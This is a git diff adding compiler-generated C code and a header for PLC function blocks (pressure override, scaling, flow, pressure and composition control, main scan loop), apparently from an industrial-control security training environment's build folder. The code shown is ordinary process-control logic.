__INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->INPUT_UINT,0,retain) + __INIT_VAR(data__->OUTPUT_INT,0,retain) + __INIT_VAR(data__->DIV3_OUT,0,retain) + __INIT_VAR(data__->ABS8_OUT,0,retain) + __INIT_VAR(data__->UINT_TO_INT9_OUT,0,retain) +} + +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV3_OUT,,DIV__UINT__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->INPUT_UINT,), + (UINT)2)); + __SET_VAR(data__->,ABS8_OUT,,ABS__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->DIV3_OUT,))); + __SET_VAR(data__->,UINT_TO_INT9_OUT,,UINT_TO_INT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->ABS8_OUT,))); + __SET_VAR(data__->,OUTPUT_INT,,__GET_VAR(data__->UINT_TO_INT9_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_SIGNED_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE92_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE92_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED1,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED2,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED3,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED4,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED5,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED6,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED7,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED8,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED9,retain); + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_EXTERNAL(BOOL,RUN_BIT,data__->RUN_BIT,retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->ADD87_OUT,0,retain) + __INIT_VAR(data__->GE91_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->SCALE_TO_SIGNED0.,INPUT_UINT,,__GET_VAR(data__->PRESSURE,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED0); + __SET_VAR(data__->,HMI_PRESSURE,,__GET_VAR(data__->SCALE_TO_SIGNED0.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED1.,INPUT_UINT,,__GET_VAR(data__->LEVEL,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED1); + __SET_VAR(data__->,HMI_LEVEL,,__GET_VAR(data__->SCALE_TO_SIGNED1.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED2.,INPUT_UINT,,__GET_VAR(data__->F1_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED2); + __SET_VAR(data__->,HMI_F1_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED2.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED3.,INPUT_UINT,,__GET_VAR(data__->F2_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED3); + __SET_VAR(data__->,HMI_F2_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED3.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED4.,INPUT_UINT,,__GET_VAR(data__->PURGE_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED4); + __SET_VAR(data__->,HMI_PURGE_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED4.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED5.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED5); + __SET_VAR(data__->,HMI_PRODUCT_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED5.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED6.,INPUT_UINT,,__GET_VAR(data__->F1_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED6); + __SET_VAR(data__->,HMI_F1_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED6.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED7.,INPUT_UINT,,__GET_VAR(data__->F2_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED7); + __SET_VAR(data__->,HMI_F2_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED7.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED8.,INPUT_UINT,,__GET_VAR(data__->PURGE_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED8); + __SET_VAR(data__->,HMI_PURGE_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED8.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED9.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED9); + __SET_VAR(data__->,HMI_PRODUCT_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED9.OUTPUT_INT,)); + __SET_VAR(data__->,ADD87_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)1)); + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->ADD87_OUT,)); + __SET_VAR(data__->,GE91_OUT,,GE__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)32000)); + __SET_VAR(data__->,MOVE92_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->GE91_OUT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE92_ENO,)) { + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->MOVE92_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h new file mode 100644 index 0000000..9c89adb --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h @@ -0,0 +1,456 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + 